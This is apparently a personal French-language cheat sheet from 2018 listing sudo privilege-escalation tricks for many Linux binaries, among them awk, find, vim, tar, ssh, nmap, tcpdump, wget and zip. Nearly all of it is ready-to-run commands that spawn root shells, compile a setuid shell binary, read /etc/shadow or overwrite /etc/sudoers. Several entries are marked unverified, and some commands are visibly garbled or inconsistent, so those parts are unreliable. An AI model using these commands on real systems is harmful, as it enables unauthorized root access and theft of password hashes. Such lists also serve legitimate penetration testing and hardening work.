Privilege Escalation
Alasta 13 Octobre 2018awk
sudo awk 'BEGIN{system("bash")}'
ou
sudo awk 'BEGIN{system("/usr/bin/vim")}'
:!/bin/bash
cp
Faire un overwrite de fichier gérant des droits (/etc/shadow, /etc/sudoers)
except A VALIDER
sudo except spawn sh then sh
find
sudo find / -exec bash -i \;
ou
sudo find / -exec /usr/bin/awk 'BEGIN {system("/bin/bash")}' \;
ftp
sudo ftp
!/bin/sh
gdb
sudo gdb -q
!/bin/bash
git
sudo git help status
!/bin/bash
ou
echo "/bin/bash" > git-shellgit
chmod +x git-shellgit
sudo /usr/bin/git --exec-path=./ shellgit
irb
sudo irb
exec "/bin/sh"
less
sudo less /etc/shadow
v
:shell
lua
sudo lua
os.execute('/bin/sh')
man
sudo man man
!bash
more
sudo more A_Big_File
!bash
Utiliser un fichier qui dépasse la taille de l’écran pour avoir le –more–.
mount
sudo mount -o bind /bin/bash /bin/mount
sudo mount
mv
Faire un overwrite de fichier gérant des droits (/etc/shadow, /etc/sudoers)
nano
sudo nano -S /etc/sudoers
Ajouter une commande comme awk, sauvergarder CTRL + X et lancer un sudo awk …
Il est possible de modifier tous les fichiers sensible pour l’élévation de privilége, /etc/shadow …
nmap
echo "os.execute('/bin/sh')" > /tmp/shell.nse
sudo nmap --script=/tmp/shell.nse
Vielle version de nmap
sudo nmap --interactive
!sh
perl
sudo perl
exec "/bin/bash";
ctr-d
pico
sudo pico -s "/bin/bash"
/bin/bash
Taper CTRL + T
ou
sudo pico --speller=vim
:!/bin/bash
python
sudo python
import pty; pty.spawn("/bin/bash")
Version en une seule ligne
sudo python -c "import os; os.system('/bin/bash')"
rsync
echo -e "id > /tmp/resultcmd\nhostname >> /tmp/resultcmd" > /tmp/lstcmd
sudo rsync -e 'sh /tmp/lstcmd' /dev/null 127.0.0.1:/dev/null 2>/dev/null
cat /tmp/resultcmd
uid=0(root) gid=0(root) groupes=0(root) contexte=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
c7pe
ruby
sudo ruby -e 'exec "/bin/bash"'
scp
vi /tmp/bs.sh
#!/bin/bash
/bin/bash
chmod +x /tmp/sh
sudo scp -vvv -S /tmp/bs.sh sdds@1:x sqdsq@a:
script
sudo script NimporteQuoiEtCaMache
ou
script -c /bin/bash
ssh
Il faut avoir gcc de disponible sur la machine
cd /tmp
vi bs.c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp)
{
setresgid(getegid(), getegid(), getegid());
setresuid(geteuid(), geteuid(), geteuid());
execve("/bin/bash", argv, envp);
return 0;
}
vi bash.sh
#!/bin/bash
gcc bs.c -o bs
chmod 777 bs
chmod +s bs
chmod 777 bash.sh
sudo ssh -o ProxyCommand='bash -c /tmp/bash.sh' 127.0.0.1
./bs
ou
cd /tmp
vi sc.sh
#!/bin/bash
exec 10<&0 11>&1 0<&2 1>&2
vi
vi conf
Host *
ProxyCommand "/tmp/sc.sh"
chmod 777 sc.sh
chmod 777 conf
sudo ssh -vvv -F /tmp/conf localhost
:!/bin/bash
strace
sudo strace -o/dev/null /bin/bash
tar
sudo tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/bash
ou
sudo /bin/tar -xvf /tmp/tty2/test.tar --to-command='vim'
:!/bin/bash
reset
ou
mkdir /tmp/dir
cd /tmp/dir
chmod 777 ./
echo "/bin/bash" > shell.sh
chmod +x shell.sh
sudo tar -cf --checkpoint=1 --checkpoint-action=exec=sh shell.sh foo.tar *
2 derniers a revoir
tcpdump
echo $’id\ncat /etc/shadow’ > /tmp/.shell
chmod +x /tmp/.shell
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.shell-Z root
id fonctionne mais pas le cat sur toutes les distrib.
vi / vim
vim
:set shell=/bin/bash
:shell
En une seule ligne
vim --cmd "set shell=/bin/bash" --cmd "shell"
Il est parfois necessaire de faire un export du PATH
export PATH=/usr/bin:/bin
wget
sudo wget http://127.0.0.1/sudofullaccess -O /etc/sudoers.d/fullaccess
Necessite un webserver. Ecraser /etc/shadow, authorized_keys de root, …
zip
sudo zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c /bin/bash"
ou
sudo zip /tmp/archive.zip /tmp/test -T -TT='vim'
:!/bin/bash
ou
mkdir /tmp/dir
cd /tmp/dir
chmod 777 ./
echo "/bin/bash" > shell.sh
chmod +x shell.sh
sudo -u zip truc.zip -T -TT "./shell.sh"
A VOIR SCRIPT